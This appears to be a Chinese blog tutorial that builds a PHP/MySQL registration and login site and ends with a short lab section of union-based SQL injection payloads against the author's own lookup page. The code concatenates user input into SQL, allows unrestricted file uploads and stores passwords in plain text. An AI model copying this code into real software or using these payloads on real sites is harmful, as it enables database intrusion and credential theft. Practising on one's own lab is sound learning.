// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}
// 创建数据库
$sql = "CREATE DATABASE myDB";
if (mysqli_query($conn, $sql)) {
echo "数据库创建成功";
} else {
echo "Error creating database: " . mysqli_error($conn);
}
mysqli_close($conn);
?>

接下来连接数据的文件我们分开,然后包含引用

conn.php

<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}
?>

其他需要调用该文件的php

<head>
<meta charset=utf-8>
</head>
<?php
include("conn.php");
$sql = "create DATABASE myDaB";
if (mysqli_query($conn, $sql)) {
echo "数据库创建成功";
} else {
echo "Error creating database: " . mysqli_error($conn);
}
mysqli_close($conn);
?>

面向对象:

<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 创建数据库
$sql = "CREATE DATABASE myDB";
if ($conn->query($sql) === TRUE) {
echo "数据库创建成功";
} else {
echo "Error creating database: " . $conn->error;
}
$conn->close();
?>

PDO:

<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
try {
$conn = new PDO("mysql:host=$servername", $username, $password);
// 设置 PDO 错误模式为异常
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = "CREATE DATABASE myDBPDO";
// 使用 exec() ,因为没有结果返回
$conn->exec($sql);
echo "数据库创建成功<br>";
}
catch(PDOException $e)
{
echo $sql . "<br>" . $e->getMessage();
}
$conn = null;
?>
创建表(面对过程)
//需要设置进去的库
conn.php 文件 新增
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "myDB";
// 创建连接
$conn = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}
?>
生成表内基本框架
<head>
<meta charset=utf-8>
</head>
<?php
include("conn.php");
$sql = "CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` INT(11) NOT NULL,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
if (mysqli_query($conn, $sql)) {
echo "数据表创建成功";
} else {
echo "创建数据表错误: " . mysqli_error($conn);
}
mysqli_close($conn);
?>
结合注册页面开始完成实验

网站首页源码

注册页面源码

<head>
<meta charset="utf-8">
</head>
<?php
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) ||
empty($password1) ||
empty($password2) ||
empty($shouji)){
$ERR="账号密码、手机号码不能为空";
//密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手机号码格式有问题";
}else{
$ERR="注册成功";
echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" .
$_FILES["tupian"]["name"]);
// echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
}
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
<?php
echo $ERR;
echo "你注册的用户为:".$name."</br>";
echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">

需求:

1、先判断是否有库,如果没有库就创建

2、判断是否有表,没有表直接创建

3、注册成功后直接将数据插入到表的内容里面 最后代码

conn.php
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}else{
// echo "数据连接成功</br>";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "数据库已经存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "开始自动创建数据库</br>";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "数据库创建成功</br>";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "数据表创建成功</br>";
}
}
// mysqli_close($conn);
?>
  }
}
//mysqli_close($conn)
?>

<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if(empty($name) && empty($password1) &&
empty($password2) && empty($shouji)){
$zhErr="用户名、密码、手机号码不能为空";
}elseif(strlen($password1)<8){
$zhErr="密码长度必须大于等于8位";
}elseif($password1!=$password2){
$zhErr="两次密码不一致";
}elseif(strlen($shouji)!=11){
$zhErr="手机号码不符合规范";
}else{
//开始处理图片
if (file_exists("tupian/" . $tupian["name"])){
echo $tupian["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($tupian["tmp_name"], "tupian/" . $tupian["name"]);
$tupianfile=$tupian['name'];
echo "文件存储在:tupian/".$tupianfile;
}
$tupianfile=$tupian['name'];
$sqlinsert="
insert into kkk_tbl(user,pass,phone,file)
values('$name','$password1','$shouji','$tupianfile');
";
echo "$sqlinsert";
var_dump($conn2);
if(mysqli_query($conn2, $sqlinsert)){
$zhErr="注册成功";
}else{
$zhErr="注册失败";
}
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传图像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
<?php echo $zhErr."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"];?>" alt="上传的图片" />

查询数据

从 MySQL 数据库读取数据

SELECT 语句用于从数据表中读取数据:

SELECT column_name(s) FROM table_name

查询 字段、字段 从 表名 查询

对于mysqli_fetch_assoc()的理解:

在 PHP 中,mysqli_fetch_assoc() 函数用于从结果集中获取一行作为关联数组。关联数组是一种索引数组,其中每个索引都对应于数据库表中的一列。

当使用 mysqli_query() 函数执行 SQL 查询后,可以使用 mysqli_fetch_assoc() 函数来逐行获取结果集中的数据。对于每一行,该函数返回一个关联数组,其中数组的键是表中的列名,而对应的值是该列在当前行中的值。

语法:

array mysqli_fetch_assoc ( mysqli $link )
$link 是一个有效的 mysqli 连接对象。
对于mysqli_fetch_row ()的理解:

mysqli_fetch_row 是 PHP 的一个函数,用于从结果集中获取一行作为枚举数组。每个字段作为数组的一个元素返回。

eg:

$query = "SELECT * FROM some_table";  
$result = mysqli_query($conn, $query);  
  
if ($result) {  
    while ($row = mysqli_fetch_row($result)) {  
        echo "id: " . $row[0] . "<br>";  
        echo "name: " . $row[1] . "<br>";  
        echo "email: " . $row[2] . "<br>";  
    }  
} else {  
    echo "Query failed: " . mysqli_error($conn);  
}  
  
mysqli_free_result($result);

在这个例子中,我们首先执行一个查询,然后使用 mysqli_fetch_row 在一个循环中获取每一行的数据。注意,结果的列索引是从0开始的,所以 $row[0] 是第一列,$row[1] 是第二列,以此类推。在结束时,使用 mysqli_free_result 释放结果集占用的内存。

注:使用 mysqli_fetch_row 获取的数据是原始的数值类型,如果你需要字符串类型的数据,你可能需要进行类型转换。例如,如果你知道某个字段是整数类型,你可以用 (int) 或者 intval() 进行转换。

对于"select * from kkk_tbl;的理解

"select * from kkk_tbl;" 是一个 SQL(Structured Query Language)查询语句。它的意思是从名为 "kkk_tbl" 的表中选择所有的列。

  • "select":这是 SQL 的一个关键字,用于选择或检索数据。
  • "*":表示所有列。这意味着我们要获取表中的每一列的数据。
  • "from":这是另一个 SQL 的关键字,用于指定从哪个表中选择数据。
  • "kkk_tbl":这是你要从中选择数据的表的名称。

整个查询的意思是:“从 'kkk_tbl' 表中选择所有的列,它返回表中的所有数据。

php联动查询如下
<?php
include('conn.php');
$chaxun="select * from kkk_tbl;";
$lianjie=mysqli_query($conn2,$chaxun);
// var_dump($lianjie);
while($row=mysqli_fetch_assoc($lianjie)){
$user=$row['user'];
$pass=$row['pass'];
$email=$row['email'];
$phone=$row['phone'];
echo "user:".$user."</br>"."pass:".$pass."</br>"."email:".$email."phone:".$phone."</br>";
}
?>

接下来我们可以自定义查询内容,比如用户通过搜索id可以查询到对应的用户,通过搜索账号可 以查询到对应的id

首先也是先明白,怎么增加查询条件:

比如,我们只需要查询一个数据表内的id或者admin数据

原始查询代码 select id,username from users where id=2;

解释:

这是一条SQL(结构化查询语言)语句,用于从"users"表中选择特定的数据。具体来说,这条语句的含义是:

  • select id, username:选择"id"和"username"这两个字段的数据。
  • from users:从名为"users"的表中选取数据。
  • where id=2:只选择那些"id"字段值为2的记录。

综合起来,这条语句的意思是:从"users"表中选择那些ID为2的用户的ID和用户名。

对于is_numeric() 的理解:

is_numeric() 是一个内置的函数,用于检查一个值是否为数字。

语法:is_numeric(mixed $value): bool

参数 $value 是要检查的值。

is_numeric() 函数返回一个布尔值,如果 $value 是一个数字或可以解析为数字,则返回 true;否则返回 false

eg:

var_dump(is_numeric(123));   // 输出: bool(true)  
var_dump(is_numeric('123'));  // 输出: bool(true)  
var_dump(is_numeric('abc'));  // 输出: bool(false)  
var_dump(is_numeric(123.45));  // 输出: bool(true)  
var_dump(is_numeric('123.45')); // 输出: bool(true)

注:is_numeric() 函数只是检查值是否可以解析为数字,而不是检查它是否是一个整数或浮点数。因此,它可以接受字符串形式的数字作为有效的输入。

优化后的php代码:

<?php
include("conn.php");
$chaxunsql=$_GET['chaxun'];
//增加一个判断,判断传入值是数字还是字符串
if(is_numeric($chaxunsql)){
$chaxunsql="id=$chaxunsql";
}else{
$chaxunsql="username='$chaxunsql'";
}
$chaxun="select id,username from users where $chaxunsql ";
$reslust=mysqli_query($conn,$chaxun);
//mysqli_fetch_assoc() 查询数据库结果并且赋值为一行
@$row = mysqli_fetch_assoc($reslust);
$id = $row["id"];
$username=$row["username"];
//提取row数字中的username字段
$html = "id:$id</br>username:$username</br>";
?>
<html>
<head>
<mate charset="utf-8">
<h1>请输入你要查询的id或者账号名字</h1>
<form action="#" method="get">
<input type="text" name="chaxun">
<input type="submit" >
</form>
</head>
</html>
<?php echo $html;?>

网站登录注册+登录页面Pro

最终完整的代码如下:

当前文件夹下的路径如下:

tupian 文件夹(用来存放图片)

login.php 登录页面

zhuxiao.php 注销页面

conn.php 数据库连接页面

zhuce.php 注册页面

session.php 管理

session youxi.php 假装后台页面

qsj.php

jsp.php

select.php

login.php

<?php
include("connect.php");
@$username=$_POST['name'];
@$password=$_POST['password'];
$uapsql="select user,pass from nuc_tbl where user='$username' and
pass='$password'";
$result=mysqli_query($conn,$uapsql);
//检查数据是否被插入表中
if(mysqli_num_rows($result))
{
    session_start();
    $_SESSION['login']='true';
    header('Location:youxi.php');
    exit;
}else{
    $login="登录失败";
    $_SESSION['login']='false';
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>317宿舍登录系统</title>
    </head>
    <body>
        <form action="login.php" method="post">
        账号:<input type="name" name="name" value=""></br>
        密码:<input type="password" name="password"value=""></br>
        <input type="submit"value="登录"><br>
        </form>
        <a href="zhuce.php"target="_blank">注册</a>
    </body>
    <?php echo "<br>".$login;?>
</html>

zhuxiao.php

<?php
session_start();
$_SESSION["login"]='false';
session_destroy();
header('Location:login.php');
?>

zhuce.php

<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
@$name=$_POST['name'];
@$password1=$_POST['password1'];
@$password2=$_POST['password2'];
@$phone=$_POST['phone'];
@$email=$_POST['email'];
@$tupian=$_FILES['tupian'];
@$tupianname=$_FILES['tupian']['name'];
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) ||
empty($password1) ||
empty($password2) ||
empty($email)||
empty($phone)){
$ERR="账号密码、手机号码、邮箱不能为空";
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($phone)!="11"||!is_numeric($phone)){
$ERR="手机号码格式有问题";
}elseif(!strpos($email,"@")||!strpos($email,".")){
    $ERR="邮箱格式有问题";
}else{
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" .
$_FILES["tupian"]["name"]);
}
$sqlinsert="insert into nuc_tbl(user,pass,email,phone,file)
value('$name','$password1','$email','$phone','$tupianname');";
if(mysqli_query($conn, $sqlinsert)){
$ERR="注册成功";
}else{
$ERR="注册失败</br>";
};
}
}
?>
<html>
    <head>
        <meta charset="utf-8">
        <title>317注册系统</title>
    </head>
    <body>
<form action="zhuce.php" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入邮箱:
<input type="email"name="email"><br>
请输入手机号码:
<input type="tel" name="phone" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
<?php
if($ERR=="注册成功"){
    
    echo "<br>".$ERR;
echo "你注册的用户为:".$name."</br>";
echo "你注册的手机号码:".$phone."</br>";
echo "你注册的邮箱为:".$email."<br>";
}else{
    echo $ERR;
}
?>
<img src="<?php echo "<br>"."tupian/".$_FILES["tupian"]["name"]; ?>"><br>
<a href="login.php">点击回到登录界面</a>
</body>
</html>

conn.php

<head>
    <meta charset="utf-8">
</head>
<?php
$severname="localhost";
$username="root";
$password="152739lxl";
$dbname="nuc";
$connx=mysqli_connect($severname,$username,$password);
$conn=mysqli_connect($severname,$username,$password,$dbname);
if(!$connx){
    die("连接失败".mysqli_connect_error());
}else{
if($conn=mysqli_connect($severname,$username,$password,$dbname))
{
$createtbl="CREATE TABLE IF NOT EXISTS `nuc_tbl`(
    `id` INT UNSIGNED AUTO_INCREMENT,
    `user` VARCHAR(10) NOT NULL,
    `pass` VARCHAR(10) NOT NULL,
    `email`VARCHAR(40) NOT NULL,
    `phone` VARCHAR(11) NOT NULL,
    `file` VARCHAR(30) ,
    PRIMARY KEY ( `id` )
    )ENGINE=InnoDB DEFAULT CHARSET=utf8;";
    $conn = mysqli_connect($severname, $username, $password, $dbname);
    mysqli_query($conn, $createtbl);
}else{
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
$createtbl="CREATE TABLE IF NOT EXISTS `nuc_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`email`VARCHAR(40) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$conn = mysqli_connect($severname, $username, $password, $dbname);
mysqli_query($conn, $createtbl);
}
}
?>

youxi.php

<head>
    <meta charset="utf-8">
</head>
<?php
include('session.php');
?>
<html>
<head>
<mate charset="utf-8">
<title>317宿舍内部系统</title>
</head>
<body>
<h1>游戏页面</h1>
<a href="select.php">点击账号以及ID的对应关系</a><br>
<a href="jsq.php">数字炸弹1</a><br>
<a href="qsj.php">数字炸弹1</a> 
</body>
</html>

session.php

<?php
session_start();
if ($_SESSION["login"] == true) {
    echo "Welcome To nuc-317"."<br>";
echo "您已经成功登陆<br><a href='zhuxiao.php'>点击注销</a>";
} else {
$_SESSION["login"] == false;
die("您无权访问,<a href='login.php'>点击跳转登录页面</a>");
}
?>

jsp.php

对于intval()的理解:

intval() 是一个 PHP 函数,它的作用是将一个字符串转换为整数。这个函数会从字符串的开头开始解析,直到遇到非数字字符为止,然后返回解析得到的整数值。

eg:intval("12345") 将返回整数值 12345,而 intval("123abc") 将返回 123

<?php
$num=$_GET["num1"];
$rand=$_GET["rand"];
if ($rand==null){
$rand=rand(10,99);
}
//判断开始

if($num==null){
$a = null;
}elseif($num>$rand){
$a = "你输入的值太大了";
}elseif($num<$rand){
$a = "你输入的值太小了";
}else{
$a = '<script>alert("恭喜你,猜对了");</script>';
}
//判断开始
switch ($num==$rand){
case true:
$a = "你输入的值对了了";
break;
case false:
$a = "你输入的值不对";
break;
}
//循环开始
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="" method="get">
<input type="password" name="rand" value=<?php echo $rand;?>>
<h2>清空上面的内容,即可重新开始游戏</h2>
</br>
<h1>猜猜我的数字是多少,范围10-99</h1>
猜数字<input type="number" name="num1" value=<?php echo $num;?>>
<input type="submit" value="计算">
<?php echo $a;?>
</br>
</form>
</body>
</html>

select.php

<head>
<meta charset="utf-8">
<title>用户信息显示系统</title>
</head>
<?php
include("connect.php");
if(!$conn)
{
    echo "用户信息查询失败";
}else{
    echo "查询成功"."<br>";
$sql="select id,user,email from nuc_tbl";
$result=mysqli_query($conn,$sql);
if(mysqli_num_rows($result)>0)
{
    while($row=mysqli_fetch_assoc($result))
    {
        echo "用户:".$row['id']."<br>";
        echo "id:".$row['id']."<br>"."user:".$row['user']."<br>"."email:".$row['email']."<br>";
    }
}
}
?>

PHP登录页面实战

用户登录以后可以直接打开多个链接,比如之前写入的用户查询页面,计算页面,可以将我们之 前写入的都写进来

思路: 将session功能单独变成一个文件,在不同的页面里面引入即可

select.php攻击实战(sql初次尝试)

轮子:admin' and '1'='1
查询字段数量:admin' order by 2--+'
查询回显位置:-admin' union select 1,2--+'
查询数据库库:-admin' union select database(),2--+'
查询数据表: select table_name from information_schema.tables where table_schema="kkk";
变形: -admin' union select table_name,2 from information_schema.tables where table_schema='kkk
继续查询字段: -admin' union select group_concat(column_name),2 from information_schema.columns where table_name='kkk_tbl
查询数据内容: -admin' union select group_concat(user,pass),2 from kkk_tbl where '1' ='1

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

nuc-x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值